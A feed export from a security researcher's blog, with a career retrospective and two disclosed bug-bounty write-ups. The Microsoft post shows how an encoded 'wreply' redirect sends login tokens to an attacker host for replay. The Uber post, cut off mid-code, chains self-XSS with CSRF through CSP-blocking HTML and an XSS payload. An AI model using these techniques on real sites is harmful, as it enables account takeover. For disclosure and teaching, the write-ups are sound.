Jack Jekyll 2020-05-04T15:20:26+01:00 https://whitton.io/ Jack https://whitton.io/ [email protected] <![CDATA[From Bug Bounty Hunter, to Engineer, and Beyond]]> https://whitton.io/articles/from-researcher-to-engineer-and-beyond 2020-04-19T00:00:00-00:00 2020-04-19T00:00:00+01:00 Jack https://whitton.io [email protected] <p>A couple weeks ago I had my last day on Facebook’s Product Security team. A bittersweet moment, but one which marks a “new chapter” in my life…</p> <figure style="text-align: center;"> <a href="/images/hunter-to-engineer/hunter-to-engineer-owasp-2.jpg" class="image-popup"> <picture> <source srcset="/images/hunter-to-engineer/hunter-to-engineer-owasp-2.webp" type="image/webp" /> <source srcset="/images/hunter-to-engineer/hunter-to-engineer-owasp-2.jpg" type="image/jpeg" /> <img src="/images/hunter-to-engineer/hunter-to-engineer-owasp-2.jpg" style="width:80%;" /> </picture> </a> </figure> <p>I’ve spent just over 4 years working on <a href="https://www.facebook.com/BugBounty/">“the other side”</a> of bug bounties, but it’s also been 4 years since I last blogged, so I wanted to share some of my learnings as to how it was going from hacking on programs to being a security engineer.</p> <p>I also wanted to share a bit about the journey I took. This is one of the first times I’ve been able to fully reflect (in a kinda long, rambly way), so writing this down was always going to be fun.</p> <hr /> <h2 id="old-school-bug-bounty">“Old-School” Bug Bounty</h2> <p>Without sounding like an old-school, grey-beard hacker (I’m not <em>that</em> old), the landscape <em>really</em> has changed over the ~8 years I’ve been following, and been a part of, the bug bounty community.</p> <p>“Back in the day” you mainly had a choice of Google, Mozilla, Facebook and PayPal to hack on.</p> <p>I have fond memories of having a Google alert setup for the words “bug bounty” and “vulnerability disclosure program”, just so that I could find any new program to hack on. There was also Bugcrowd’s infamous <a href="https://www.bugcrowd.com/bug-bounty-list/">“The List”</a>, which I’d consult.</p> <figure style="text-align: center;"> <a href="/images/hunter-to-engineer/hunter-to-engineer-the-list.png" class="image-popup"> <picture> <source srcset="/images/hunter-to-engineer/hunter-to-engineer-the-list.webp" type="image/webp" /> <source srcset="/images/hunter-to-engineer/hunter-to-engineer-the-list.png" type="image/jpeg" /> <img src="/images/hunter-to-engineer/hunter-to-engineer-the-list.png" /> </picture> </a> </figure> <p>Aside from the limited amount of programs, the tools and techniques used to find bugs on these various sites was wildly different than it is now.</p> <p>Believe it or not, even the generic, “Paste an XSS payload into a search box”, bug taught in various old tutorials was a <a href="https://nealpoole.com/blog/2011/03/xss-vulnerability-in-facebook-translations/">valid finding on large programs</a>.</p> <p>Now, it seems like a lot of the effort put in to finding bugs is in the context of recon - finding assets and end-points which could be pretty green and untouched, increasing the likelihood of finding a high paying bug. This is not necessarily a bad thing, it just means that it’s more important than ever for new-comers to understand WebAppSec techniques <em>and</em> the various recon tooling.</p> <p>(As a side note, the one program I know of which <em>doesn’t</em> require heavy recon is Facebook, given that it’s a single, huge domain, but I may be bias promoting that particular program…)</p> <h3 id="first-reward">First Reward</h3> <p>Anyway, digging through my bug bounty folder, I managed to find the first valid bug I found, which was a CSRF issue within PayPal. This was nearly 8 years ago, but it’s what got me hooked on something (relatively) new at the time - getting paid to find bugs.</p> <figure style="text-align: center;"> <a href="/images/hunter-to-engineer/hunter-to-engineer-1.png" class="image-popup"> <picture> <source srcset="/images/hunter-to-engineer/hunter-to-engineer-1.webp" type="image/webp" /> <source srcset="/images/hunter-to-engineer/hunter-to-engineer-1.png" type="image/jpeg" /> <img src="/images/hunter-to-engineer/hunter-to-engineer-1.png" /> </picture> </a> </figure> <p>I’d sent in a few bugs prior to this, both to PayPal and Facebook, but receiving a “you’ve found an eligible issue” email felt great, despite the finding being pretty low-risk.</p> <h3 id="ramping-up">Ramping Up</h3> <p>From this point, I knew I needed to do two things:</p> <ol> <li>Learn as much as I could from other, more established researchers to understand their techniques for finding bugs (and the common patterns seen across a program)</li> <li>Find as many bugs as possible - in hindsight, this is not the best idea (as most programs value quality over quantity), but while I was starting out, it helped me get an idea of validity, and the non-technical aspects of writing reports etc</li> </ol> <p>I also started blogging about my findings. The reason behind this was that I wanted to share some info back to the community that I’d learnt so much from. The other reason (which, IMO, is also a common reason) was that I could leverage these public blog posts into a job offer within the security industry. My background at the time was as a web developer, with no university degree or qualifications.</p> <p>So from here, I hunted and hunted and hunted. The Yahoo program launched at some point in 2013 and it was <em>so</em> fun. Got some great findings and responses, including the following email I recently found buried in a screenshot folder somewhere.</p> <figure style="text-align: center;"> <a href="/images/hunter-to-engineer/hunter-to-engineer-2013-10-31.png" class="image-popup"> <picture> <source srcset="/images/hunter-to-engineer/hunter-to-engineer-2013-10-31.webp" type="image/webp" /> <source srcset="/images/hunter-to-engineer/hunter-to-engineer-2013-10-31.png" type="image/jpeg" /> <img src="/images/hunter-to-engineer/hunter-to-engineer-2013-10-31.png" /> </picture> </a> </figure> <p>Once they started paying their findings out via HackerOne, I had the (brief) enjoyment of being “The Top Hacker™”. That too was buried in a screenshot folder.</p> <figure style="text-align: center;"> <a href="/images/hunter-to-engineer/hunter-to-engineer-h1-feed.jpg" class="image-popup"> <picture> <source srcset="/images/hunter-to-engineer/hunter-to-engineer-h1-feed.webp" type="image/webp" /> <source srcset="/images/hunter-to-engineer/hunter-to-engineer-h1-feed.jpg" type="image/jpeg" /> <img src="/images/hunter-to-engineer/hunter-to-engineer-h1-feed.jpg" /> </picture> </a> </figure> <p>Around the same time, I started spending more and more time exclusively on the Facebook program.</p> <p>This is a trend I still see today - as you hack more and more on the same program, you start to get a sense for how the code is written (despite black-boxing it), for when new code is deployed (despite not having access to the CI infra), and for when a mistake may have been made (which is when you turn that “spidey sense” into a valid submission).</p> <h3 id="facebook-bug-bounty">Facebook Bug Bounty</h3> <p>The Facebook Bug Bounty program is where I spent the majority of my free time. I never made #1 on <a href="https://www.facebook.com/whitehat/thanks">their leaderboard</a> (always #2…), but I found some fun bugs and wrote up some <a href="/tags/#facebook">interesting posts</a>.</p> <p>Over time I got to <em>really</em> understand the code behind www, despite never having seen it. The majority of findings are what would be called <a href="https://portswigger.net/web-security/access-control/idor">IDORs</a>, although “bypassing read/write privacy” is a nicer term IMO.</p> <figure style="text-align: center;"> <a href="/images/hunter-to-engineer/hunter-to-engineer-2013-10-15.png" class="image-popup"> <img src="/images/hunter-to-engineer/hunter-to-engineer-2013-10-15.png" /> </a> <figcaption>One of many fun screenshots from the Whitehat program</figcaption> </figure> <p>My biggest finding came when I found a way of accessing anyone’s account. This bug was one of the most simple, generic IDORs you could think of (change “profile_id” to someone else’s user ID…), but as with most programs, Facebook pays based on impact not on complexity.</p> <p>For this bug, and others, they issued me one of the coveted Whitehat Debit Cards. It was fun (read: <em>slightly</em> annoying) having credit card receipts issued to Mr. Bounty.</p> <figure style="text-align: center;"> <a href="/images/hunter-to-engineer/hunter-to-engineer-whitehat-debit-card.jpg" class="image-popup"> <img src="/images/hunter-to-engineer/hunter-to-engineer-whitehat-debit-card.jpg" style="width: 80%" /> </a> </figure> <p>Understandably, these aren’t used anymore as loading up and sending out thousands of cards per year would be too much, but back then the card itself was worth (to me, in terms of sentimental value) almost as much as the dollar reward.</p> <p>After a few years of hacking Facebook spun up a ProdSec team in London, which was perfect as I’m based in the UK and didn’t want to leave to go to America.</p> <p>I got the opportunity to interview for the role of Product Security Engineer, went to the office, did the interview…</p> <hr /> <h2 id="joining-facebook">Joining Facebook</h2> <p>…and failed. It sucked - joining Facebook was one of the end-goals of me spending so much time hacking on their program. But the reason I’m mentioning this (likely for the first time) is that in terms of a career, going back and having to re-learn some areas that you’re not 100% at isn’t a huge deal. I re-interviewed a while later and then joined in April 2016.</p> <p>My first day was such a surreal experience. For years I knew the website inside and out, but finally I got a laptop with a check-out of the codebase.</p> <p>_Spoiler: this post doesn’t contain any NDA-breaching info that will help you find bugs in Facebook. If you really want access to the secret codebase, <strong><a href="https://www.facebook.com/careers">click here</a>_</strong></p> <p>I went through the usual bootcamp process that Facebook has, and finally joined the team to start looking for bugs and suggesting improvements to various product teams. This was when I made the (virtual) switch from being a “hunter” to an “engineer”.</p> <h3 id="everything-is-a-p0">“Everything is a P0”</h3> <p>A mindset that I <em>needed</em> to shift out of when joining Facebook was a common one that a lot of researchers have, and that’s that “every finding is a P0, you <strong>must</strong> fix this now, if you don’t the world will end and society will collapse”.</p> <p>Now, there <em>could</em> be the odd bug where this is the case, but most of the time when working with a product team you need to understand trade-offs, and come up with solutions that are fair to other areas other than security.</p> <p>You could be the most l33t researcher, dropping 0-days and absolutely crushing it, but if you can’t articulate risk to a <em>non</em> security engineer, then it’s not going to work out.</p> <h3 id="running-a-program">Running a Program</h3> <p>Given that my background is in bug bounties, it made sense for me to start working on Facebook’s own program. This too needed a bit of a mindset switch - I’d never triaged a report before, never looked for a root cause (other than in client-side JS), nor sat in on a payout meeting to discuss reward amounts.</p> <p>But one thing that I could bring to the program was the empathy aspect, given that I’d been on the <em>receiving</em> end of messages and updates from a bug bounty program many times (one thing to note here is that this wasn’t a unique skill - at the time, and even more so now, some of the engineers working on Whitehat had bug bounty experience).</p> <h3 id="researcher-engagement">Researcher Engagement</h3> <p>One part of my role at Facebook that I kinda “accidentally” fell in to was giving presentations to researchers about our team, and the Whitehat program. It started off as something that I wasn’t sure I wanted to do - public speaking was a pretty big fear of mine, but I had an awesome manager who helped me overcome this fear.</p> <p>But, after giving my first external presentation at Nullcon in 2017, I realised this was something I actually <em>really</em> enjoyed. Being able to share some “inside tips” on how people could succeed in the world of bug bounties was rewarding.</p> <figure style="text-align: center;"> <a href="/images/hunter-to-engineer/hunter-to-engineer-nullcon.jpg" class="image-popup"> <img src="/images/hunter-to-engineer/hunter-to-engineer-nullcon.jpg" style="width:80%" /> </a> </figure> <p>These presentations, and focus groups run with researchers, allowed me to understand the pain points and help ensure that researchers were enjoying their experience with the program.</p> <p>In fact, this will be probably the biggest thing I’ll miss from Whitehat.</p> <hr /> <h2 id="finding-bugs-as-an-engineer">Finding Bugs as an Engineer</h2> <p>Whilst I was at Facebook, I did have the chance to find bugs in other programs, but my throughput went down massively. Prior to my start date, I was hunting most days and finding valid bugs in most of those sessions. However, after joining, these were the only months I hacked during (and some of these only ended up with one or two valids):</p> <figure style="text-align: center;"> <a href="/images/hunter-to-engineer/hunter-to-engineer-2.png" class="image-popup"> <img src="/images/hunter-to-engineer/hunter-to-engineer-2.png" /> </a> </figure> <p>Given that my day was full up with engineering work, investigating security bugs, etc, I took the decision to ensure that my <em>free time</em> was full of non-work related things (for more info, you should really read NathOnSecurity’s post regarding <a href="https://medium.com/@NathOnSecurity/bug-bounties-and-mental-health-40662b2e497b">Bug Bounties and Mental Health</a>).</p> <p>But for the few times I was hunting, the technical and non-technical skills I was learning and using from helping run the Whitehat program, and from security reviews for teams, helped greatly:</p> <h3 id="visualing-code">Visualing Code</h3> <p>After reviewing enough code (which believe me, I did…), you start to be able to visualise how a request is being handled. This is usually regardless of the application, or language it’s written in, given that in most cases it’ll be roughly similar.</p> <p>In terms of bug bounty, this helped a lot. I could look at an end-point, guesstimate what could be happening to the parameters I’d passed in before the HTTP response is sent. Now, given that I’d seen some of the common mistakes Software Engineers had made over the years with handling user-provided data, you can then assume that other engineering teams at other companies could be making similar mistakes, and therefore find bugs that way.</p> <p>The great thing about this is that you <em>don’t</em> need to join a tech company to learn this skill. Chose a random web app open source project on GitHub and take a look through some of the previous security issues they’ve had. You’ll see real world mistakes, from real world engineers, and can then start to visualise these mistakes when black-box testing a bug bounty property.</p> <h3 id="empathy">Empathy</h3> <p>As I mentioned above, empathy was a key aspect to the 4 years at Facebook, both inside and outside of work.</p> <p>As a researcher, sending in a submission, you want to have a reply within minutes, a fix within hours, and a $$$$ payout within a day. In an ideal world, that’d be the case, but it doesn’t work like that.</p> <p>When sending in bugs, you have to understand the <em>huge</em> amount of work that could be going on behind the scenes.</p> <p>For example, a bug may look like a simple reflected XSS which just needs a variable wrapped in htmlspecialchars for the submission to be resolved (pro-tip: please don’t <em>actually</em> fix XSS this way…), but in-fact it’s a systemic issue in a core library used by a ton of random properties.</p> <p>In addition, consider the fact that it may have been exploited, so now various other teams have to do IR, or legal teams need to be involved before any replies can be sent to a researcher.</p> <p>Now, that’s <em>not</em> to excuse the cases where a submission gets lost in the ether, or where the program simply doesn’t care about security issues (I’m purposely leaving out 30/90/120 day disclosure deadlines etc out of this post so that I don’t start a Twitter storm…), but more often than not, for a reputable program, bugs <em>are</em> being fixed but can take a lot longer than it seems.</p> <h3 id="reward-amounts">Reward Amounts</h3> <p>Similar to the empathy aspect of the (potential) long waits for bugs to be fixed, one other area that I got to learn a lot about was reward amounts. The main thing to mention here (and of course there are caveats, but this should be the same for any reputable program) is that programs aren’t trying to cheat you out of a reward. No (again, reputable) program is trying to shave off $500 off of your reward just to “save money”.</p> <p>One of the ways that can help alleviate these concerns is by publishing reward amounts of various bug types (or even examples of amounts for previous specific findings), but even this can cause drama - if the bounty table says “SSRF - $10,000”, but you only get paid $5,000, then you’ve been cheated, right?</p> <p>Well, not exactly, since more often than not you need to consider the following:</p> <ul> <li>Do you need to be authenticated to perform the SSRF, and if so, what type of account do you need (one requiring high-privs is going to be harder to exploit)?</li> <li>Is the host which is vulnerable to SSRF firewalled/in a DMZ?</li> <li>Can you extract data or only blindly hit end-points with a GET?</li> </ul> <p>And so on….</p> <p>Programs can help you in these cases where you feel there is a discrepancy by explaining the mitigating factors (or in the case you got <em>more</em> than $10,000, by explaining the compounding factors), but again, (most) programs aren’t lowering the amounts just to “save money”.</p> <hr /> <h2 id="the-future">The Future</h2> <p>Soon I’ll be starting a new role, one which will likely see me slightly more removed from the bug bounty world, but I’ll keeping a close on eye on the ever changing techniques and novel findings 👀.</p> <p>In terms of the future of bug bounties, who knows what will be the new norm over the next 4 years, but regardless I’m sure it will benefit both sides of the community.</p> <p>I may also dump a few of my older findings from over the past few years on this blog…</p> <h2 id="thank-you">Thank You</h2> <p>Finally, one thing I neglected over the years was to give specific “thank-you” to all of the various researchers who helped me be who I am today, either directly or indirectly.</p> <p>The OG 2012/2013 Facebook Hunters (Egor, Nir, Neal, Charlie B) who blogged are a main reason I am where I am today. Then the researchers who were hacking (and still are) at the same time as me, Josip &amp; phwd (too many fun times at DEFCON together…), Anand, Pranav, Dmitry, Youssef, and many others.</p> <p>Theres also the hunters who made me feel welcome at my first, and all the future DEFCONs - Bitquark, Jhaddix, Nahamsec, and plenty more.</p> <p>And then finally, the people who still blow my mind when I read their posts - Ngalog for taking over the #1 spot on Uber from me, Shubs for his crazy recon skills, Frans for the sick presentations I’ve seen at our events, and so on…</p> <p><a href="https://whitton.io/articles/from-researcher-to-engineer-and-beyond/">From Bug Bounty Hunter, to Engineer, and Beyond</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on April 19, 2020.</p> <![CDATA[Obtaining Login Tokens for an Outlook, Office or Azure Account]]> https://whitton.io/articles/obtaining-tokens-outlook-office-azure-account 2016-04-03T00:00:00-00:00 2016-04-03T00:00:00+01:00 Jack https://whitton.io [email protected] <p><em>This is pretty similar to Wes’s <a href="https://www.synack.com/2015/10/08/how-i-hacked-hotmail/">awesome OAuth CSRF in Live</a>, except it’s in the main Microsoft authentication system rather than the OAuth approval prompt.</em></p> <p>Microsoft, being a huge company, have various services spread across multiple domains (<code>*.outlook.com</code>, <code>*.live.com</code>, and so on).</p> <p>To handle authentication across these services, requests are made to <a href="https://login.live.com">login.live.com</a>, <a href="https://login.microsoftonline.com">login.microsoftonline.com</a>, and <a href="https://login.windows.net">login.windows.net</a> to get a session for the user.</p> <p>The flow for <a href="https://outlook.office.com">outlook.office.com</a> is as follows:</p> <ul> <li>User browses to <a href="https://outlook.office.com">https://outlook.office.com</a></li> <li>User is redirected to <a href="https://login.microsoftonline.com/login.srf?wa=wsignin1.0&amp;rpsnv=4&amp;wreply=https%3a%2f%2foutlook.office.com%2fowa%2f&amp;id=260563">https://login.microsoftonline.com/login.srf?wa=wsignin1.0&amp;rpsnv=4&amp;wreply=https%3a%2f%2foutlook.office.com%2fowa%2f&amp;id=260563</a></li> <li>Provided that the user is logged in, a <a href="https://en.wikipedia.org/wiki/POST_(HTTP)">POST</a> request is made back to the value of <code>wreply</code>, with the form field <code>t</code> containing a login token for the user:</li> </ul> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt">&lt;html&gt;</span> <span class="nt">&lt;head&gt;</span> <span class="nt">&lt;noscript&gt;</span>JavaScript required to sign in<span class="nt">&lt;/noscript&gt;</span> <span class="nt">&lt;title&gt;</span>Continue<span class="nt">&lt;/title&gt;</span> <span class="nt">&lt;script </span><span class="na">type=</span><span class="s">"text/javascript"</span><span class="nt">&gt;</span> <span class="kd">function</span> <span class="nx">OnBack</span><span class="p">(){}</span><span class="kd">function</span> <span class="nx">DoSubmit</span><span class="p">(){</span><span class="kd">var</span> <span class="nx">subt</span><span class="o">=</span><span class="kc">false</span><span class="p">;</span><span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">subt</span><span class="p">){</span><span class="nx">subt</span><span class="o">=</span><span class="kc">true</span><span class="p">;</span><span class="nb">document</span><span class="p">.</span><span class="nx">fmHF</span><span class="p">.</span><span class="nx">submit</span><span class="p">();}}</span> <span class="nt">&lt;/script&gt;</span> <span class="nt">&lt;/head&gt;</span> <span class="nt">&lt;body</span> <span class="na">onload=</span><span class="s">"javascript:DoSubmit();"</span><span class="nt">&gt;</span> <span class="nt">&lt;form</span> <span class="na">name=</span><span class="s">"fmHF"</span> <span class="na">id=</span><span class="s">"fmHF"</span> <span class="na">action=</span><span class="s">"https://outlook.office.com/owa/?wa=wsignin1.0"</span> <span class="na">method=</span><span class="s">"post"</span> <span class="na">target=</span><span class="s">"_self"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"t"</span> <span class="na">id=</span><span class="s">"t"</span> <span class="na">value=</span><span class="s">"EgABAgMAAAAEgAAAA..."</span><span class="nt">&gt;</span> <span class="nt">&lt;/form&gt;</span> <span class="nt">&lt;/body&gt;</span> <span class="nt">&lt;/html&gt;</span></code></pre></figure> <ul> <li>The service then consumes the token, and logs the user in.</li> </ul> <p>Since the services are hosted on completely separate domains, and therefore cookies can’t be used, the token is the only value needed to authenticate as a user. This is similar-ish to how OAuth works.</p> <p>What this means is that if we can get the above code to POST the value of <code>t</code> to a server we control, we can impersonate the user.</p> <p>As expected, if we try and change the value of <code>wreply</code> to a non-Microsoft domain, such as <code>example.com</code>, we receive an error, and the request isn’t processed:</p> <figure style="text-align: center;"> <a href="/images/microsoft/login-3.png" class="image-popup"> <img src="/images/microsoft/login-3.png" /> </a> </figure> <h3 id="fun-with-url-encoding-and-url-parsing">Fun with URL-Encoding and URL Parsing</h3> <p>One fun trick to play around with is <a href="https://en.wikipedia.org/wiki/Percent-encoding">URL-encoding</a> parameters multiple times. Occasionally this can be used to bypass different filters, which is the root cause of the bug.</p> <p>In this case, <code>wreply</code> is URL-decoded before the domain is checked. Therefore <code>https%3a%2f%2foutlook.office.com%2f</code> becomes <code>https://outlook.office.com/</code>, which is valid, and the request goes through.</p> <pre class="highlight"> &lt;form name="fmHF" id="fmHF" action="<strong>https://outlook.office.com/</strong>?wa=wsignin1.0" method="post" target="_self"&gt; </pre> <p>What’s interesting is that when passing a value of <code>https%3a%2f%2foutlook.office.com%252f</code> an error is thrown, since <code>https://outlook.office.com%2f</code> isn’t a valid URL.</p> <p>However, appending <code>@example.com</code> <em>doesn’t</em> generate an error. Instead, it gives us the following, which is a valid URL:</p> <pre class="highlight"> &lt;form name="fmHF" id="fmHF" action="<strong>https://outlook.office.com%[email protected]/</strong>?wa=wsignin1.0" method="post" target="_self"&gt; </pre> <p><em>If you’re wondering why this is valid, it’s because the <a href="https://en.wikipedia.org/wiki/Uniform_Resource_Locator#Syntax">syntax of a URL</a> is as follows:</em></p> <pre class="highlight"> scheme:[//[user:password@]host[:port]][/]path[?query][#fragment] </pre> <p>From this you can tell that the server is doing two checks:</p> <ul> <li> <p>The first is a sanity check on the URL, to ensure it’s valid, which it is, since <code>outlook.office.com%2f</code> is the username part of the URL.</p> </li> <li> <p>The second is to determine if the domain is allowed. This second check should fail - <code>example.com</code> is <strong>not</strong> allowed.</p> </li> </ul> <p>It’s clear that server is decoding <code>wreply</code> <em>n</em> times until there are no longer any encoded characters, and <em>then</em> validating the domain. This sort of inconsistency is something I’m <a href="/articles/safecurl-capture-the-bitcoins-post-mortem/#url-parsing-issue-1">quite familiar with</a>.</p> <p>Now that we can specify an arbitrary URL to POST the token, the rest is trivial. We set the redirect to <code>https%3a%2f%2foutlook.office.com%[email protected]%2fmicrosoft%2f%3f</code>, which results in:</p> <pre class="highlight"> &lt;form name="fmHF" id="fmHF" action="<strong>https://outlook.office.com%[email protected]/microsoft/?</strong>&amp;wa=wsignin1.0" method="post" target="_self"&gt; </pre> <p>This causes the token to be sent to our site:</p> <figure style="text-align: center;"> <a href="/images/microsoft/login-4.png" class="image-popup"> <img src="/images/microsoft/login-4.png" /> </a> </figure> <p>Then we simply replay the token ourselves:</p> <pre class="highlight"> &lt;form action="https://outlook.office.com/owa/?wa=wsignin1.0" method="post"&gt; &lt;input name="t" value="<strong>EgABAgMAAAAEgAAAAwAB...</strong>"&gt; &lt;input type="submit"&gt; &lt;/form&gt; </pre> <p>Which then gives us complete access to the user’s account:</p> <figure style="text-align: center;"> <a href="/images/microsoft/login-2.png" class="image-popup"> <img src="/images/microsoft/login-2.png" /> </a> </figure> <p>Note: The token is only valid for the service which issued it - an Outlook token can’t be used for Azure, for example. But it’d be simple enough to create multiple hidden iframes, each with the login URL set to a different service, and harvest tokens that way.</p> <p>This was quite a fun CSRF to find and exploit. Despite CSRF bugs not having the same credibility as other bugs, when discovered in authentication systems their impact can be pretty large.</p> <h2 id="fix">Fix</h2> <p>The hostname in <code>wreply</code> now must end in <code>%2f</code>, which gets URL-decoded to <code>/</code>.</p> <p>This ensures that the browser only sends the request to the intended host.</p> <h2 id="timeline">Timeline</h2> <ul> <li>Sunday, 24th January 2016 - Issue Reported</li> <li>Sunday, 24th January 2016 - Issue Confirmed &amp; Triaged</li> <li>Tuesday, 26th January 2016 - Issue Patched</li> </ul> <p><a href="https://whitton.io/articles/obtaining-tokens-outlook-office-azure-account/">Obtaining Login Tokens for an Outlook, Office or Azure Account</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on April 03, 2016.</p> <![CDATA[Uber Bug Bounty: Turning Self-XSS into Good-XSS]]> https://whitton.io/articles/uber-turning-self-xss-into-good-xss 2016-03-22T00:00:00-00:00 2016-03-22T00:00:00+00:00 Jack https://whitton.io [email protected] <p><em>Now that the Uber bug bounty programme has launched publicly, I can publish some of my favourite submissions, which I’ve been itching to do over the past year. This is part one of maybe two or three posts.</em></p> <p>On Uber’s <a href="https://partners.uber.com">Partners portal</a>, where Drivers can login and update their details, I found a very simple, classic XSS: changing the value of one of the profile fields to <code class="highlighter-rouge">&lt;script&gt;alert(document.domain);&lt;/script&gt;</code> causes the code to be executed, and an alert box popped.</p> <figure style="text-align: center;"> <a href="/images/uber-partners-xss/uber-partners-xss-1-1.png" class="image-popup"> <picture> <source srcset="/images/uber-partners-xss/uber-partners-xss-1-1.webp" type="image/webp" /> <source srcset="/images/uber-partners-xss/uber-partners-xss-1-1.png" type="image/jpeg" /> <img src="/images/uber-partners-xss/uber-partners-xss-1-1.png" style="width:50%;" /> </picture> </a> </figure> <figure style="text-align: center;"> <a href="/images/uber-partners-xss/uber-partners-xss-1-2.png" class="image-popup"> <picture> <source srcset="/images/uber-partners-xss/uber-partners-xss-1-2.webp" type="image/webp" /> <source srcset="/images/uber-partners-xss/uber-partners-xss-1-2.png" type="image/jpeg" /> <img src="/images/uber-partners-xss/uber-partners-xss-1-2.png" style="width:50%;" /> </picture> </a> </figure> <p>This took all of two minutes to find after signing up, but now comes the fun bit.</p> <h3 id="self-xss">Self-XSS</h3> <p>Being able to execute additional, arbitrary JavaScript under the context of another site is called <a href="https://en.wikipedia.org/wiki/Cross-site_scripting">Cross-Site Scripting</a> (which I’m assuming 99% of my readers know). Normally you would want to do this against other users in order to yank session cookies, submit XHR requests, and so on.</p> <p>If you <em>can’t</em> do this against another user - for example, the code only executes against your account, then this is known as a self-XSS.</p> <p>In this case, it would seem that’s what we’ve found. The address section of your profile is only shown to you (the exception may be if an internal Uber tool also displays the address, but that’s another matter), and we can’t update another user’s address to force it to be executed against them.</p> <p>I’m always hesitant to send in bugs which have potential (an XSS in this site would be cool), so let’s try and find a way of removing the “self” part from the bug.</p> <h3 id="uber-oauth-login-flow">Uber OAuth Login Flow</h3> <p>The <a href="https://en.wikipedia.org/wiki/OAuth">OAuth</a> that flow Uber uses is pretty typical:</p> <ul> <li>User visits an Uber site which requires login, e.g. <code class="highlighter-rouge">partners.uber.com</code></li> <li>User is redirected to the authorisation server, <code class="highlighter-rouge">login.uber.com</code></li> <li>User enters their credentials</li> <li>User is redirected back to <code class="highlighter-rouge">partners.uber.com</code> with a code, which can then be exchanged for an access token</li> </ul> <figure style="text-align: center;"> <a href="/images/uber-partners-xss/uber-partners-xss-2.png" class="image-popup"> <picture> <source srcset="/images/uber-partners-xss/uber-partners-xss-2.webp" type="image/webp" /> <source srcset="/images/uber-partners-xss/uber-partners-xss-2.png" type="image/jpeg" /> <img src="/images/uber-partners-xss/uber-partners-xss-2.png" style="width:100%;" /> </picture> </a> </figure> <p>In case you haven’t spotted from the above screenshot, the OAuth callback, <code class="highlighter-rouge">/oauth/callback?code=...</code>, doesn’t use the recommended <a href="http://www.twobotechnologies.com/blog/2014/02/importance-of-state-in-oauth2.html"><code class="highlighter-rouge">state</code></a> parameter. This introduces a CSRF vulnerability in the login function, which may or may-not be considered an important issue.</p> <p>In addition, there is a CSRF vulnerability in the logout function, which <em>really</em> isn’t considered an issue. Browsing to <code class="highlighter-rouge">/logout</code> destroys the user’s <code class="highlighter-rouge">partner.uber.com</code> session, and performs a redirect to the same logout function on <code class="highlighter-rouge">login.uber.com</code>.</p> <p>Since our payload is only available inside our account, we want to log the user into our account, which in turn will execute the payload. However, logging them into our account destroys their session, which destroys a lot of the value of the bug (it’s no longer possible to perform actions on their account). So let’s chain these three minor issues (self-XSS and two CSRF’s) together.</p> <p><em>For more info on OAuth security, check out <a href="http://www.oauthsecurity.com/">@homakov’s awesome guide</a>.</em></p> <h3 id="chaining-minor-bugs">Chaining Minor Bugs</h3> <p>Our plan has three parts to it:</p> <ul> <li>First, log the user out of their <code class="highlighter-rouge">partner.uber.com</code> session, but <em>not</em> their <code class="highlighter-rouge">login.uber.com</code> session. This ensures that we can log them back into their account</li> <li>Second, log the user into <em>our</em> account, so that our payload will be executed</li> <li>Finally, log them back into <em>their</em> account, whilst our code is still running, so that we can access their details</li> </ul> <h4 id="step-1-logging-out-of-only-one-domain">Step 1. Logging Out of Only One Domain</h4> <p>We first want to issue a request to <code class="highlighter-rouge">https://partners.uber.com/logout/</code>, so that we can then log them into our account. The problem is that issuing a requets to this end-point results in a 302 redirect to <code class="highlighter-rouge">https://login.uber.com/logout/</code>, which destroys the session. We can’t intercept each redirect and drop the request, since the browser follows these implicitly.</p> <p>However, one trick we can do is to use <a href="https://developer.mozilla.org/en-US/docs/Web/Security/CSP">Content Security Policy</a> to define which sources are allowed to be loaded (I hope you can see the irony in using a feature designed to help mitigate XSS in this context).</p> <p>We’ll set our policy to only allow requests to <code class="highlighter-rouge">partners.uber.com</code>, which will block <code class="highlighter-rouge">https://login.uber.com/logout/</code>.</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="c">&lt;!-- Set content security policy to block requests to login.uber.com, so the target maintains their session --&gt;</span> <span class="nt">&lt;meta</span> <span class="na">http-equiv=</span><span class="s">"Content-Security-Policy"</span> <span class="na">content=</span><span class="s">"img-src https://partners.uber.com"</span><span class="nt">&gt;</span> <span class="c">&lt;!-- Logout of partners.uber.com --&gt;</span> <span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"https://partners.uber.com/logout/"</span><span class="nt">&gt;</span></code></pre></figure> <p>This works, as indicated by the CSP violation error message:</p> <figure style="text-align: center;"> <a href="/images/uber-partners-xss/uber-partners-xss-3.png" class="image-popup"> <picture> <source srcset="/images/uber-partners-xss/uber-partners-xss-3.webp" type="image/webp" /> <source srcset="/images/uber-partners-xss/uber-partners-xss-3.png" type="image/jpeg" /> <img src="/images/uber-partners-xss/uber-partners-xss-2.png" style="width:100%;" /> </picture> </a> </figure> <h4 id="step-2-logging-into-our-account">Step 2. Logging Into Our Account</h4> <p>This one is relatively simple. We issue a request to <code class="highlighter-rouge">https://partners.uber.com/login/</code> to initiate a login (this is needed else the application won’t accept the callback). Using the CSP trick we prevent the flow being completed, then we feed in our own <code class="highlighter-rouge">code</code> (which can be obtained by logging into our own account), which logs them in to our account.</p> <p>Since a CSP violation triggers the <code class="highlighter-rouge">onerror</code> event handler, this will be used to jump to the next step.</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="c">&lt;!-- Set content security policy to block requests to login.uber.com, so the target maintains their session --&gt;</span> <span class="nt">&lt;meta</span> <span class="na">http-equiv=</span><span class="s">"Content-Security-Policy"</span> <span class="na">content=</span><span class="s">"img-src partners.uber.com"</span><span class="nt">&gt;</span> <span class="c">&lt;!-- Logout of partners.uber.com --&gt;</span> <span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"https://partners.uber.com/logout/"</span> <span class="na">onerror=</span><span class="s">"login();"</span><span class="nt">&gt;</span> <span class="nt">&lt;script&gt;</span> <span class="c1">//Initiate login so that we can redirect them</span> <span class="kd">var</span> <span class="nx">login</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="kd">var</span> <span class="nx">loginImg</span> <span class="o">=</span> <span class="nb">document</span><span 